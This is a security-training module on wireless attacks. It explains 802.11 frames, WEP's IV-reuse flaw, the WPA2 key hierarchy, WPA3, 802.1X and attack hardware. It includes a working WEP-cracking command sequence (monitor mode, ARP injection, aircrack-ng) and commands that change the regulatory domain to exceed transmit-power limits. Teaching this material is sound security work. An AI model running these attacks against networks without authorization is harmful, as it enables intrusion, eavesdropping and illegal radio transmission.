WIRELESS ATTACKS
802.11 standards · WPA2/WPA3 cracking · PMKID · Evil Twin · Enterprise 802.1X · Bluetooth · BLE · RFID · NFC · SDR · Zigbee · Forensics
Wireless Fundamentals & Standards
- 802.11ax (WiFi 6) adds OFDMA and MU-MIMO but the WPA2/WPA3 auth layer is still the primary attack surface
- 2.4GHz travels further and penetrates walls better - ideal for surveillance; 5GHz is faster but shorter range
- A hidden SSID provides no real security - passive monitoring reveals it within seconds of any client probe
- Management frames (beacons, deauth, disassoc) are unencrypted in WPA2 - only 802.11w/PMF changes this
- Chipset selection is critical: RTL8812AU (AWUS036ACH) supports monitor mode and packet injection on modern kernels
Before attacking wireless networks you must understand how they work at the protocol level. The 802.11 standard family defines how devices communicate over radio frequency. Each generation trades range, speed, and frequency band differently - and each has different security implications for attackers and defenders.
WiFi is just radio. Like a local FM station, an access point shouts its signal into the open air, and anyone nearby with the right receiver can tune in and listen — walls barely slow it down. On the radio that is the whole point; on your network it is the danger. The only thing stopping an eavesdropper from understanding what they catch is encryption, which scrambles the words so that overhearing the broadcast is useless. That single idea is why every attack and defence in this module circles back to the lock, not the signal.
► 802.11 Standards Comparison
| Standard | WiFi Brand | Frequency | Max Speed | Security Note |
|---|---|---|---|---|
| 802.11b | WiFi 1 | 2.4GHz | 11 Mbps | WEP era - completely broken |
| 802.11a | WiFi 2 | 5GHz | 54 Mbps | WEP era - 5GHz less congested |
| 802.11g | WiFi 3 | 2.4GHz | 54 Mbps | WEP/WPA transition era |
| 802.11n | WiFi 4 | 2.4/5GHz | 600 Mbps | WPA2 common, TKIP still seen |
| 802.11ac | WiFi 5 | 5GHz only | 6.9 Gbps | WPA2-CCMP standard |
| 802.11ax | WiFi 6 | 2.4/5GHz | 9.6 Gbps | WPA3 optional, WPA2 still dominant |
| 802.11ax | WiFi 6E | 6GHz added | 9.6 Gbps | 6GHz band requires WPA3 - harder to attack |
► Frequency Bands: Attacker Perspective
The frequency band determines range, interference, and available channels. Each matters differently for wireless attacks.
| Band | Range | Channels (non-overlap) | Interference | Attack Relevance |
|---|---|---|---|---|
| 2.4GHz | Up to 150m outdoors | 3 (1, 6, 11) | High - microwaves, baby monitors, BT | Best for long-range capture; crowded band |
| 5GHz | Up to 50m outdoors | 25+ | Low | Higher throughput networks; PMKID works here |
| 6GHz (6E) | Shorter than 5GHz | 59 | Minimal | Limited attack tools; requires WPA3 |
► SSID, BSSID, ESSID
These three terms are often confused but have precise meanings in 802.11.
► 802.11 Frame Types
The 802.11 protocol uses three categories of frames. Understanding them helps you know what to capture and what to inject during attacks.
| Category | Examples | Attack Relevance |
|---|---|---|
| Management | Beacon, Probe Req/Resp, Auth, Deauth, Assoc, Disassoc | Unprotected in WPA2 - forge deauth/disassoc to kick clients |
| Control | ACK, RTS, CTS, Block ACK | Used in jamming and DoS; less exploited directly |
| Data | QoS Data, Null Data, CF-Poll | Encrypted payload; capture for handshake/PMKID extraction |
802.11 Beacon Frame:
Frame Control (2 bytes) - type=Management, subtype=Beacon
Duration (2 bytes)
Destination (6 bytes) - FF:FF:FF:FF:FF:FF (broadcast)
Source (BSSID) (6 bytes) - AP MAC address
BSSID (6 bytes) - same as source for infrastructure
Sequence Ctrl (2 bytes)
Timestamp (8 bytes) - microseconds since AP boot
Beacon Interval (2 bytes) - typically 100 TUs (102.4ms)
Capability Info (2 bytes) - ESS, Privacy (WPA), Short Preamble
Tagged Params:
SSID element (tag 0) - the network name
Supported Rates (tag 1)
DS Parameter (tag 3) - current channel
RSN Information (tag 48) - WPA2/WPA3 capabilities
HT/VHT/HE Capabilities - 802.11n/ac/ax specific► WEP: Completely Broken
Wired Equivalent Privacy uses RC4, a stream cipher. The fundamental flaw is IV (Initialization Vector) reuse. RC4 requires a unique keystream per packet. WEP uses a 24-bit IV prepended to the key, giving only 16 million possible IV values. On a busy network, IVs repeat within minutes. Capturing enough IVs with repeated values allows statistical analysis to recover the key regardless of its length.
# Put interface in monitor mode airmon-ng start wlan0 # Capture IVs from target WEP network (BSSID_HERE = target AP MAC) airodump-ng --bssid BSSID_HERE -c CHANNEL_NUM -w wep_capture wlan0mon # Inject ARP packets to accelerate IV collection (active attack) aireplay-ng -3 -b BSSID_HERE -h CLIENT_MAC_HERE wlan0mon # Crack once you have 40,000-80,000 IVs (60,000 for 128-bit key) aircrack-ng wep_capture-01.cap # WEP 40-bit key cracks in seconds # WEP 104-bit key cracks in minutes # There is NO secure version of WEP
► WPA2 Key Hierarchy
WPA2 uses a multi-layer key derivation scheme. Understanding each key is essential for understanding what the 4-way handshake captures and how cracking works.
PSK (Pre-Shared Key)
The password typed by the user (8-63 ASCII chars)
NOT used directly for encryption
PMK (Pairwise Master Key) = PBKDF2-SHA1(PSK, SSID, 4096 iterations, 256 bits)
SSID is mixed in - PMK is SSID-specific
This is why rainbow tables are per-SSID
PTK (Pairwise Transient Key) = PRF(PMK + ANonce + SNonce + AP_MAC + Client_MAC)
Derived fresh per session in the 4-way handshake
Used to encrypt unicast traffic
GTK (Group Temporal Key)
Distributed by AP to all clients during handshake
Used to encrypt broadcast/multicast traffic
Single GTK shared by all clients on same network
MIC (Message Integrity Code)
Computed over the handshake using KCK (part of PTK)
Cracking = trying PMK candidates until MIC validates► WPA3-Personal: SAE Handshake
WPA3 replaces PSK with SAE (Simultaneous Authentication of Equals), also called the Dragonfly handshake. The critical improvement is forward secrecy - even if an attacker captures the full handshake AND later obtains the password, they cannot decrypt previously captured traffic. SAE also prevents offline dictionary attacks against captured handshakes.
► WPA2-Enterprise: 802.1X Overview
Enterprise WiFi uses 802.1X with a RADIUS server. The supplicant (client) authenticates to the RADIUS server through the AP acting as authenticator. The AP passes EAP frames without inspecting them. Different EAP methods provide very different security - EAP-TLS is the strongest, PEAP-MSCHAPv2 is the most common and most attackable.
► 802.11w: Management Frame Protection
PMF/802.11w protects management frames with cryptographic signatures. When enforced, deauthentication and disassociation frames from unauthenticated sources are rejected by the client. WPA3 mandates PMF. WPA2 networks can optionally enable it. When PMF is active, classic deauth injection attacks fail.
► Hardware for Wireless Attacks
| Adapter | Chipset | Bands | Monitor Mode | Packet Injection | Notes |
|---|---|---|---|---|---|
| Alfa AWUS036ACH | RTL8812AU | 2.4/5GHz | Yes | Yes | Best all-around for 802.11ac attacks |
| Alfa AWUS1900 | RTL8814AU | 2.4/5GHz | Yes | Yes | 4x4 MIMO, highest gain antennas |
| Alfa AWUS036NHA | AR9271 | 2.4GHz only | Yes | Yes | Very stable, older but reliable |
| Panda PAU09 | RT5572 | 2.4/5GHz | Yes | Partial | Budget option, limited 5GHz injection |
| Built-in Intel/Broadcom | Varies | 2.4/5GHz | Partial | No | Generally not suitable for active attacks |
# Check current regulatory domain iw reg get # Set to a region with higher TX power limits (testing only) iw reg set BO # Check max TX power per channel iwlist wlan0 txpower # Set specific TX power (dBm) iwconfig wlan0 txpower 30 # WARNING: Exceeding legal TX power limits is illegal # Use only in controlled lab environments or with explicit permission
► Kismet: Passive Wireless Monitoring
# Install kismet sudo apt install kismet # Add user to kismet group sudo usermod -aG kismet USERNAME_HERE # Start kismet with specific source kismet -c wlan0mon # Kismet web UI: http://localhost:2501 # Default credentials set on first run # Kismet as wireless IDS: # Detects deauth floods, SSID spoofing, rogue APs # Tracks device associations over time # Exports pcap, JSON, SQLite logs # Command-line client (kismetdb_to_pcap) kismetdb_to_pcap --in kismet_log.kismet --out capture.pcap
- 802.11ax (WiFi 6) adds OFDMA and MU-MIMO but the WPA2/WPA3 auth layer is still the primary attack surface
- 2.4GHz travels further and penetrates walls better - ideal for surveillance; 5GHz is faster but shorter range
- A hidden SSID provides no real security - passive monitoring reveals it within seconds of any client probe
- Management frames (beacons, deauth, disassoc) are unencrypted in WPA2 - only 802.11w/PMF changes this
- Chipset selection is critical: RTL8812AU (AWUS036ACH) supports monitor mode and packet injection on modern kernels